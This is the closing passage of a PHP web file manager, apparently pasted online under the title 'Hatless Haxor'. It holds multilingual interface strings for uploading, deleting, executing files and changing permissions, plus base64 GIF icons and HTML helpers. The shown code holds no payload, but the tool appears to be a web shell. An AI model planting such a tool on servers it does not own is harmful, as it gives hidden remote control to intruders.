  1877. 'symlinked' => 'Symlink från "[%2]" till "[%1]" har skapats.',
  1878. 'not_symlinked' => 'Symlink från "[%2]" till "[%1]" kunde inte skapas.',
  1879. 'permission_for' => 'Rättigheter för "[%1]":',
  1880. 'permission_set' => 'Rättigheter för "[%1]" ändrades till [%2].',
  1881. 'permission_not_set' => 'Permission of "[%1]" could not be set to [%2].',
  1882. 'not_readable' => '"[%1]" kan inte läsas.'
  1883. );
  1884.  
  1885. case 'sp':
  1886.  
  1887. $date_format = 'j/n/y H:i:s';
  1888. $word_charset = 'ISO-8859-1';
  1889.  
  1890. return array(
  1891. 'directory' => 'Directorio',
  1892. 'file' => 'Archivo',
  1893. 'filename' => 'Nombre Archivo',
  1894.  
  1895. 'size' => 'Tamaño',
  1896. 'permission' => 'Permisos',
  1897. 'owner' => 'Propietario',
  1898. 'group' => 'Grupo',
  1899. 'other' => 'Otros',
  1900. 'functions' => 'Funciones',
  1901.  
  1902. 'read' => 'lectura',
  1903. 'write' => 'escritura',
  1904. 'execute' => 'ejecución',
  1905.  
  1906. 'create_symlink' => 'crear enlace',
  1907. 'delete' => 'borrar',
  1908. 'rename' => 'renombrar',
  1909. 'move' => 'mover',
  1910. 'copy' => 'copiar',
  1911. 'edit' => 'editar',
  1912. 'download' => 'bajar',
  1913. 'upload' => 'subir',
  1914. 'create' => 'crear',
  1915. 'change' => 'cambiar',
  1916. 'save' => 'salvar',
  1917. 'set' => 'setear',
  1918. 'reset' => 'resetear',
  1919. 'relative' => 'Path relativo',
  1920.  
  1921. 'yes' => 'Si',
  1922. 'no' => 'No',
  1923. 'back' => 'atrás',
  1924. 'destination' => 'Destino',
  1925. 'symlink' => 'Enlace',
  1926. 'no_output' => 'sin salida',
  1927.  
  1928. 'user' => 'Usuario',
  1929. 'password' => 'Clave',
  1930. 'add' => 'agregar',
  1931. 'add_basic_auth' => 'agregar autentificación básica',
  1932.  
  1933. 'uploaded' => '"[%1]" ha sido subido.',
  1934. 'not_uploaded' => '"[%1]" no pudo ser subido.',
  1935. 'already_exists' => '"[%1]" ya existe.',
  1936. 'created' => '"[%1]" ha sido creado.',
  1937. 'not_created' => '"[%1]" no pudo ser creado.',
  1938. 'really_delete' => '¿Borra estos archivos?',
  1939. 'deleted' => "Estos archivos han sido borrados:\n[%1]",
  1940. 'not_deleted' => "Estos archivos no pudieron ser borrados:\n[%1]",
  1941. 'rename_file' => 'Renombra archivo:',
  1942. 'renamed' => '"[%1]" ha sido renombrado a "[%2]".',
  1943. 'not_renamed' => '"[%1] no pudo ser renombrado a "[%2]".',
  1944. 'move_files' => 'Mover estos archivos:',
  1945. 'moved' => "Estos archivos han sido movidos a \"[%2]\":\n[%1]",
  1946. 'not_moved' => "Estos archivos no pudieron ser movidos a \"[%2]\":\n[%1]",
  1947. 'copy_files' => 'Copiar estos archivos:',
  1948. 'copied' => "Estos archivos han sido copiados a \"[%2]\":\n[%1]",
  1949. 'not_copied' => "Estos archivos no pudieron ser copiados \"[%2]\":\n[%1]",
  1950. 'not_edited' => '"[%1]" no pudo ser editado.',
  1951. 'executed' => "\"[%1]\" ha sido ejecutado correctamente:\n{%2}",
  1952. 'not_executed' => "\"[%1]\" no pudo ser ejecutado correctamente:\n{%2}",
  1953. 'saved' => '"[%1]" ha sido salvado.',
  1954. 'not_saved' => '"[%1]" no pudo ser salvado.',
  1955. 'symlinked' => 'Enlace desde "[%2]" a "[%1]" ha sido creado.',
  1956. 'not_symlinked' => 'Enlace desde "[%2]" a "[%1]" no pudo ser creado.',
  1957. 'permission_for' => 'Permisos de "[%1]":',
  1958. 'permission_set' => 'Permisos de "[%1]" fueron seteados a [%2].',
  1959. 'permission_not_set' => 'Permisos de "[%1]" no pudo ser seteado a [%2].',
  1960. 'not_readable' => '"[%1]" no pudo ser leído.'
  1961. );
  1962.  
  1963. case 'dk':
  1964.  
  1965. $date_format = 'n/j/y H:i:s';
  1966. $word_charset = 'ISO-8859-1';
  1967.  
  1968. return array(
  1969. 'directory' => 'Mappe',
  1970. 'file' => 'Fil',
  1971. 'filename' => 'Filnavn',
  1972.  
  1973. 'size' => 'Størrelse',
  1974. 'permission' => 'Rettighed',
  1975. 'owner' => 'Ejer',
  1976. 'group' => 'Gruppe',
  1977. 'other' => 'Andre',
  1978. 'functions' => 'Funktioner',
  1979.  
  1980. 'read' => 'læs',
  1981. 'write' => 'skriv',
  1982. 'execute' => 'kør',
  1983.  
  1984. 'create_symlink' => 'opret symbolsk link',
  1985. 'delete' => 'slet',
  1986. 'rename' => 'omdøb',
  1987. 'move' => 'flyt',
  1988. 'copy' => 'kopier',
  1989. 'edit' => 'rediger',
  1990. 'download' => 'download',
  1991. 'upload' => 'upload',
  1992. 'create' => 'opret',
  1993. 'change' => 'skift',
  1994. 'save' => 'gem',
  1995. 'set' => 'sæt',
  1996. 'reset' => 'nulstil',
  1997. 'relative' => 'Relativ sti til valg',
  1998.  
  1999. 'yes' => 'Ja',
  2000. 'no' => 'Nej',
  2001. 'back' => 'tilbage',
  2002. 'destination' => 'Distination',
  2003. 'symlink' => 'Symbolsk link',
  2004. 'no_output' => 'ingen resultat',
  2005.  
  2006. 'user' => 'Bruger',
  2007. 'password' => 'Kodeord',
  2008. 'add' => 'tilføj',
  2009. 'add_basic_auth' => 'tilføj grundliggende rettigheder',
  2010.  
  2011. 'uploaded' => '"[%1]" er blevet uploaded.',
  2012. 'not_uploaded' => '"[%1]" kunnu ikke uploades.',
  2013. 'already_exists' => '"[%1]" findes allerede.',
  2014. 'created' => '"[%1]" er blevet oprettet.',
  2015. 'not_created' => '"[%1]" kunne ikke oprettes.',
  2016. 'really_delete' => 'Slet disse filer?',
  2017. 'deleted' => "Disse filer er blevet slettet:\n[%1]",
  2018. 'not_deleted' => "Disse filer kunne ikke slettes:\n[%1]",
  2019. 'rename_file' => 'Omdød fil:',
  2020. 'renamed' => '"[%1]" er blevet omdøbt til "[%2]".',
  2021. 'not_renamed' => '"[%1] kunne ikke omdøbes til "[%2]".',
  2022. 'move_files' => 'Flyt disse filer:',
  2023. 'moved' => "Disse filer er blevet flyttet til \"[%2]\":\n[%1]",
  2024. 'not_moved' => "Disse filer kunne ikke flyttes til \"[%2]\":\n[%1]",
  2025. 'copy_files' => 'Kopier disse filer:',
  2026. 'copied' => "Disse filer er kopieret til \"[%2]\":\n[%1]",
  2027. 'not_copied' => "Disse filer kunne ikke kopieres til \"[%2]\":\n[%1]",
  2028. 'not_edited' => '"[%1]" kan ikke redigeres.',
  2029. 'executed' => "\"[%1]\" er blevet kørt korrekt:\n{%2}",
  2030. 'not_executed' => "\"[%1]\" kan ikke køres korrekt:\n{%2}",
  2031. 'saved' => '"[%1]" er blevet gemt.',
  2032. 'not_saved' => '"[%1]" kunne ikke gemmes.',
  2033. 'symlinked' => 'Symbolsk link fra "[%2]" til "[%1]" er blevet oprettet.',
  2034. 'not_symlinked' => 'Symbolsk link fra "[%2]" til "[%1]" kunne ikke oprettes.',
  2035. 'permission_for' => 'Rettigheder for "[%1]":',
  2036. 'permission_set' => 'Rettigheder for "[%1]" blev sat til [%2].',
  2037. 'permission_not_set' => 'Rettigheder for "[%1]" kunne ikke sættes til [%2].',
  2038. 'not_readable' => '"[%1]" Kan ikke læses.'
  2039. );
  2040.  
  2041. case 'tr':
  2042.  
  2043. $date_format = 'n/j/y H:i:s';
  2044. $word_charset = 'ISO-8859-1';
  2045.  
  2046. return array(
  2047. 'directory' => 'Klasör',
  2048. 'file' => 'Dosya',
  2049. 'filename' => 'dosya adi',
  2050.  
  2051. 'size' => 'boyutu',
  2052. 'permission' => 'Izin',
  2053. 'owner' => 'sahib',
  2054. 'group' => 'Grup',
  2055. 'other' => 'Digerleri',
  2056. 'functions' => 'Fonksiyonlar',
  2057.  
  2058. 'read' => 'oku',
  2059. 'write' => 'yaz',
  2060. 'execute' => 'çalistir',
  2061.  
  2062. 'create_symlink' => 'yarat symlink',
  2063. 'delete' => 'sil',
  2064. 'rename' => 'ad degistir',
  2065. 'move' => 'tasi',
  2066. 'copy' => 'kopyala',
  2067. 'edit' => 'düzenle',
  2068. 'download' => 'indir',
  2069. 'upload' => 'yükle',
  2070. 'create' => 'create',
  2071. 'change' => 'degistir',
  2072. 'save' => 'kaydet',
  2073. 'set' => 'ayar',
  2074. 'reset' => 'sifirla',
  2075. 'relative' => 'Hedef yola göre',
  2076.  
  2077. 'yes' => 'Evet',
  2078. 'no' => 'Hayir',
  2079. 'back' => 'Geri',
  2080. 'destination' => 'Hedef',
  2081. 'symlink' => 'Kýsa yol',
  2082. 'no_output' => 'çikti yok',
  2083.  
  2084. 'user' => 'Kullanici',
  2085. 'password' => 'Sifre',
  2086. 'add' => 'ekle',
  2087. 'add_basic_auth' => 'ekle basit-authentification',
  2088.  
  2089. 'uploaded' => '"[%1]" yüklendi.',
  2090. 'not_uploaded' => '"[%1]" yüklenemedi.',
  2091. 'already_exists' => '"[%1]" kullanilmakta.',
  2092. 'created' => '"[%1]" olusturuldu.',
  2093. 'not_created' => '"[%1]" olusturulamadi.',
  2094. 'really_delete' => 'Bu dosyalari silmek istediginizden eminmisiniz?',
  2095. 'deleted' => "Bu dosyalar silindi:\n[%1]",
  2096. 'not_deleted' => "Bu dosyalar silinemedi:\n[%1]",
  2097. 'rename_file' => 'Adi degisen dosya:',
  2098. 'renamed' => '"[%1]" adili dosyanin yeni adi "[%2]".',
  2099. 'not_renamed' => '"[%1] adi degistirilemedi "[%2]" ile.',
  2100. 'move_files' => 'Tasinan dosyalar:',
  2101. 'moved' => "Bu dosyalari tasidiginiz yer \"[%2]\":\n[%1]",
  2102. 'not_moved' => "Bu dosyalari tasiyamadiginiz yer \"[%2]\":\n[%1]",
  2103. 'copy_files' => 'Kopyalanan dosyalar:',
  2104. 'copied' => "Bu dosyalar kopyalandi \"[%2]\":\n[%1]",
  2105. 'not_copied' => "Bu dosyalar kopyalanamiyor \"[%2]\":\n[%1]",
  2106. 'not_edited' => '"[%1]" düzenlenemiyor.',
  2107. 'executed' => "\"[%1]\" basariyla çalistirildi:\n{%2}",
  2108. 'not_executed' => "\"[%1]\" çalistirilamadi:\n{%2}",
  2109. 'saved' => '"[%1]" kaydedildi.',
  2110. 'not_saved' => '"[%1]" kaydedilemedi.',
  2111. 'symlinked' => '"[%2]" den "[%1]" e kýsayol oluþturuldu.',
  2112. 'not_symlinked' => '"[%2]"den "[%1]" e kýsayol oluþturulamadý.',
  2113. 'permission_for' => 'Izinler "[%1]":',
  2114. 'permission_set' => 'Izinler "[%1]" degistirildi [%2].',
  2115. 'permission_not_set' => 'Izinler "[%1]" degistirilemedi [%2].',
  2116. 'not_readable' => '"[%1]" okunamiyor.'
  2117. );
  2118.  
  2119. case 'cs':
  2120.  
  2121. $date_format = 'd.m.y H:i:s';
  2122. $word_charset = 'UTF-8';
  2123.  
  2124. return array(
  2125. 'directory' => 'Adresář',
  2126. 'file' => 'Soubor',
  2127. 'filename' => 'Jméno souboru',
  2128.  
  2129. 'size' => 'Velikost',
  2130. 'permission' => 'Práva',
  2131. 'owner' => 'Vlastník',
  2132. 'group' => 'Skupina',
  2133. 'other' => 'Ostatní',
  2134. 'functions' => 'Funkce',
  2135.  
  2136. 'read' => 'Čtení',
  2137. 'write' => 'Zápis',
  2138. 'execute' => 'Spouštění',
  2139.  
  2140. 'create_symlink' => 'Vytvořit symbolický odkaz',
  2141. 'delete' => 'Smazat',
  2142. 'rename' => 'Přejmenovat',
  2143. 'move' => 'Přesunout',
  2144. 'copy' => 'Zkopírovat',
  2145. 'edit' => 'Otevřít',
  2146. 'download' => 'Stáhnout',
  2147. 'upload' => 'Nahraj na server',
  2148. 'create' => 'Vytvořit',
  2149. 'change' => 'Změnit',
  2150. 'save' => 'Uložit',
  2151. 'set' => 'Nastavit',
  2152. 'reset' => 'zpět',
  2153. 'relative' => 'Relatif',
  2154.  
  2155. 'yes' => 'Ano',
  2156. 'no' => 'Ne',
  2157. 'back' => 'Zpět',
  2158. 'destination' => 'Destination',
  2159. 'symlink' => 'Symbolický odkaz',
  2160. 'no_output' => 'Prázdný výstup',
  2161.  
  2162. 'user' => 'Uživatel',
  2163. 'password' => 'Heslo',
  2164. 'add' => 'Přidat',
  2165. 'add_basic_auth' => 'přidej základní autentizaci',
  2166.  
  2167. 'uploaded' => 'Soubor "[%1]" byl nahrán na server.',
  2168. 'not_uploaded' => 'Soubor "[%1]" nebyl nahrán na server.',
  2169. 'already_exists' => 'Soubor "[%1]" už exituje.',
  2170. 'created' => 'Soubor "[%1]" byl vytvořen.',
  2171. 'not_created' => 'Soubor "[%1]" nemohl být vytvořen.',
  2172. 'really_delete' => 'Vymazat soubor?',
  2173. 'deleted' => "Byly vymazány tyto soubory:\n[%1]",
  2174. 'not_deleted' => "Tyto soubory nemohly být vytvořeny:\n[%1]",
  2175. 'rename_file' => 'Přejmenuj soubory:',
  2176. 'renamed' => 'Soubor "[%1]" byl přejmenován na "[%2]".',
  2177. 'not_renamed' => 'Soubor "[%1]" nemohl být přejmenován na "[%2]".',
  2178. 'move_files' => 'Přemístit tyto soubory:',
  2179. 'moved' => "Tyto soubory byly přemístěny do \"[%2]\":\n[%1]",
  2180. 'not_moved' => "Tyto soubory nemohly být přemístěny do \"[%2]\":\n[%1]",
  2181. 'copy_files' => 'Zkopírovat tyto soubory:',
  2182. 'copied' => "Tyto soubory byly zkopírovány do \"[%2]\":\n[%1]",
  2183. 'not_copied' => "Tyto soubory nemohly být zkopírovány do \"[%2]\":\n[%1]",
  2184. 'not_edited' => 'Soubor "[%1]" nemohl být otevřen.',
  2185. 'executed' => "SOubor \"[%1]\" byl spuštěn :\n{%2}",
  2186. 'not_executed' => "Soubor \"[%1]\" nemohl být spuštěn:\n{%2}",
  2187. 'saved' => 'Soubor "[%1]" byl uložen.',
  2188. 'not_saved' => 'Soubor "[%1]" nemohl být uložen.',
  2189. 'symlinked' => 'Byl vyvořen symbolický odkaz "[%2]" na soubor "[%1]".',
  2190. 'not_symlinked' => 'Symbolický odkaz "[%2]" na soubor "[%1]" nemohl být vytvořen.',
  2191. 'permission_for' => 'Práva k "[%1]":',
  2192. 'permission_set' => 'Práva k "[%1]" byla změněna na [%2].',
  2193. 'permission_not_set' => 'Práva k "[%1]" nemohla být změněna na [%2].',
  2194. 'not_readable' => 'Soubor "[%1]" není možno přečíst.'
  2195. );
  2196.  
  2197. case 'en':
  2198. default:
  2199.  
  2200. $date_format = 'n/j/y H:i:s';
  2201. $word_charset = 'ISO-8859-1';
  2202.  
  2203. return array(
  2204. 'directory' => 'Directory',
  2205. 'file' => 'File',
  2206. 'filename' => 'Filename',
  2207.  
  2208. 'size' => 'Size',
  2209. 'permission' => 'Permission',
  2210. 'owner' => 'Owner',
  2211. 'group' => 'Group',
  2212. 'other' => 'Others',
  2213. 'functions' => 'Functions',
  2214.  
  2215. 'read' => 'read',
  2216. 'write' => 'write',
  2217. 'execute' => 'execute',
  2218.  
  2219. 'create_symlink' => 'create symlink',
  2220. 'delete' => 'delete',
  2221. 'rename' => 'rename',
  2222. 'move' => 'move',
  2223. 'copy' => 'copy',
  2224. 'edit' => 'edit',
  2225. 'download' => 'download',
  2226. 'upload' => 'upload',
  2227. 'create' => 'create',
  2228. 'change' => 'change',
  2229. 'save' => 'save',
  2230. 'set' => 'set',
  2231. 'reset' => 'reset',
  2232. 'relative' => 'Relative path to target',
  2233.  
  2234. 'yes' => 'Yes',
  2235. 'no' => 'No',
  2236. 'back' => 'back',
  2237. 'destination' => 'Destination',
  2238. 'symlink' => 'Symlink',
  2239. 'no_output' => 'no output',
  2240.  
  2241. 'user' => 'User',
  2242. 'password' => 'Password',
  2243. 'add' => 'add',
  2244. 'add_basic_auth' => 'add basic-authentification',
  2245.  
  2246. 'uploaded' => '"[%1]" has been uploaded.',
  2247. 'not_uploaded' => '"[%1]" could not be uploaded.',
  2248. 'already_exists' => '"[%1]" already exists.',
  2249. 'created' => '"[%1]" has been created.',
  2250. 'not_created' => '"[%1]" could not be created.',
  2251. 'really_delete' => 'Delete these files?',
  2252. 'deleted' => "These files have been deleted:\n[%1]",
  2253. 'not_deleted' => "These files could not be deleted:\n[%1]",
  2254. 'rename_file' => 'Rename file:',
  2255. 'renamed' => '"[%1]" has been renamed to "[%2]".',
  2256. 'not_renamed' => '"[%1] could not be renamed to "[%2]".',
  2257. 'move_files' => 'Move these files:',
  2258. 'moved' => "These files have been moved to \"[%2]\":\n[%1]",
  2259. 'not_moved' => "These files could not be moved to \"[%2]\":\n[%1]",
  2260. 'copy_files' => 'Copy these files:',
  2261. 'copied' => "These files have been copied to \"[%2]\":\n[%1]",
  2262. 'not_copied' => "These files could not be copied to \"[%2]\":\n[%1]",
  2263. 'not_edited' => '"[%1]" can not be edited.',
  2264. 'executed' => "\"[%1]\" has been executed successfully:\n{%2}",
  2265. 'not_executed' => "\"[%1]\" could not be executed successfully:\n{%2}",
  2266. 'saved' => '"[%1]" has been saved.',
  2267. 'not_saved' => '"[%1]" could not be saved.',
  2268. 'symlinked' => 'Symlink from "[%2]" to "[%1]" has been created.',
  2269. 'not_symlinked' => 'Symlink from "[%2]" to "[%1]" could not be created.',
  2270. 'permission_for' => 'Permission of "[%1]":',
  2271. 'permission_set' => 'Permission of "[%1]" was set to [%2].',
  2272. 'permission_not_set' => 'Permission of "[%1]" could not be set to [%2].',
  2273. 'not_readable' => '"[%1]" can not be read.'
  2274. );
  2275.  
  2276. }
  2277.  
  2278. }
  2279.  
  2280. function getimage ($image) {
  2281. switch ($image) {
  2282. case 'file':
  2283. return base64_decode('R0lGODlhEQANAJEDAJmZmf///wAAAP///yH5BAHoAwMALAAAAAARAA0AAAItnIGJxg0B42rsiSvCA/REmXQWhmnih3LUSGaqg35vFbSXucbSabunjnMohq8CADsA');
  2284. case 'folder':
  2285. return base64_decode('R0lGODlhEQANAJEDAJmZmf///8zMzP///yH5BAHoAwMALAAAAAARAA0AAAIqnI+ZwKwbYgTPtIudlbwLOgCBQJYmCYrn+m3smY5vGc+0a7dhjh7ZbygAADsA');
  2286. case 'hidden_file':
  2287. return base64_decode('R0lGODlhEQANAJEDAMwAAP///5mZmf///yH5BAHoAwMALAAAAAARAA0AAAItnIGJxg0B42rsiSvCA/REmXQWhmnih3LUSGaqg35vFbSXucbSabunjnMohq8CADsA');
  2288. case 'link':
  2289. return base64_decode('R0lGODlhEQANAKIEAJmZmf///wAAAMwAAP///wAAAAAAAAAAACH5BAHoAwQALAAAAAARAA0AAAM5SArcrDCCQOuLcIotwgTYUllNOA0DxXkmhY4shM5zsMUKTY8gNgUvW6cnAaZgxMyIM2zBLCaHlJgAADsA');
  2290. case 'smiley':
  2291. return base64_decode('R0lGODlhEQANAJECAAAAAP//AP///wAAACH5BAHoAwIALAAAAAARAA0AAAIslI+pAu2wDAiz0jWD3hqmBzZf1VCleJQch0rkdnppB3dKZuIygrMRE/oJDwUAOwA=');
  2292. case 'arrow':
  2293. return base64_decode('R0lGODlhEQANAIABAAAAAP///yH5BAEKAAEALAAAAAARAA0AAAIdjA9wy6gNQ4pwUmav0yvn+hhJiI3mCJ6otrIkxxQAOw==');
  2294. }
  2295. }
  2296.  
  2297. function html_header () {
  2298. global $site_charset;
  2299.  
  2300. echo <<<END
  2301. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
  2302. "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
  2303. <html xmlns="http://www.w3.org/1999/xhtml">
  2304. <head>
  2305.  
  2306. <meta http-equiv="Content-Type" content="text/html; charset=$site_charset" />
  2307.  
  2308. <title>Hatless Haxor</title>
  2309.  
  2310. <style type="text/css">
  2311. body { font: small sans-serif; text-align: center }
  2312. img { width: 17px; height: 13px }
  2313. a, a:visited { text-decoration: none; color: navy }
  2314. hr { border-style: none; height: 1px; background-color: silver; color: silver }
  2315. #main { margin-top: 6pt; margin-left: auto; margin-right: auto; border-spacing: 1px }
  2316. #main th { background: #33443; padding: 3pt 3pt 0pt 3pt }
  2317. .listing th, .listing td { padding: 1px 3pt 0 3pt }
  2318. .listing th { border: 1px solid silver }
  2319. .listing td { border: 1px solid #ddd; background: white }
  2320. .listing .checkbox { text-align: center }
  2321. .listing .filename { text-align: left }
  2322. .listing .size { text-align: right }
  2323. .listing .permission_header { text-align: left }
  2324. .listing .permission { font-family: monospace }
  2325. .listing .owner { text-align: left }
  2326. .listing .group { text-align: left }
  2327. .listing .functions { text-align: left }
  2328. .listing_footer td { background: #eee; border: 1px solid silver }
  2329. #directory, #upload, #create, .listing_footer td, #error td, #notice td { text-align: left; padding: 3pt }
  2330. #directory { background: #eee; border: 1px solid silver }
  2331. #upload { padding-top: 1em }
  2332. #create { padding-bottom: 1em }
  2333. .small, .small option { font-size: x-small }
  2334. textarea { border: none; background: white }
  2335. table.dialog { margin-left: auto; margin-right: auto }
  2336. td.dialog { background: #eee; padding: 1ex; border: 1px solid silver; text-align: center }
  2337. #permission { margin-left: auto; margin-right: auto }
  2338. #permission td { padding-left: 3pt; padding-right: 3pt; text-align: center }
  2339. td.permission_action { text-align: right }
  2340. #symlink { background: #eee; border: 1px solid silver }
  2341. #symlink td { text-align: left; padding: 3pt }
  2342. #red_button { width: 120px; color: #400 }
  2343. #green_button { width: 120px; color: #040 }
  2344. #error td { background: maroon; color: white; border: 1px solid silver }
  2345. #notice td { background: green; color: white; border: 1px solid silver }
  2346. #notice pre, #error pre { background: silver; color: black; padding: 1ex; margin-left: 1ex; margin-right: 1ex }
  2347. code { font-size: 12pt }
  2348. td { white-space: nowrap }
  2349. </style>
  2350.  
  2351. <script type="text/javascript">
  2352. <!--
  2353. function activate (name) {
  2354. if (document && document.forms[0] && document.forms[0].elements['focus']) {
  2355. document.forms[0].elements['focus'].value = name;
  2356. }
  2357. }
  2358. //-->
  2359. </script>
  2360.  
  2361. </head>
  2362. <body>
  2363.  
  2364.  
  2365. END;
  2366.  
  2367. }
  2368.  
  2369. function html_footer () {
  2370.  
  2371. echo <<<END
  2372. </body>
  2373. </html>
  2374. END;
  2375.  
  2376. }
  2377.  
  2378. function notice ($phrase) {
  2379. global $cols;
  2380.  
  2381. $args = func_get_args();
  2382. array_shift($args);
  2383.  
  2384. return '<tr id="notice">
  2385. <td colspan="' . $cols . '">' . phrase($phrase, $args) . '</td>
  2386. </tr>
  2387. ';
  2388.  
  2389. }
  2390.  
  2391. function error ($phrase) {
  2392. global $cols;
  2393.  
  2394. $args = func_get_args();
  2395. array_shift($args);
  2396.  
  2397. return '<tr id="error">
  2398. <td colspan="' . $cols . '">' . phrase($phrase, $args) . '</td>
  2399. </tr>
  2400. ';
  2401.  
  2402. }
  2403.  
  2404. ?>
Add Comment
Please, Sign In to add comment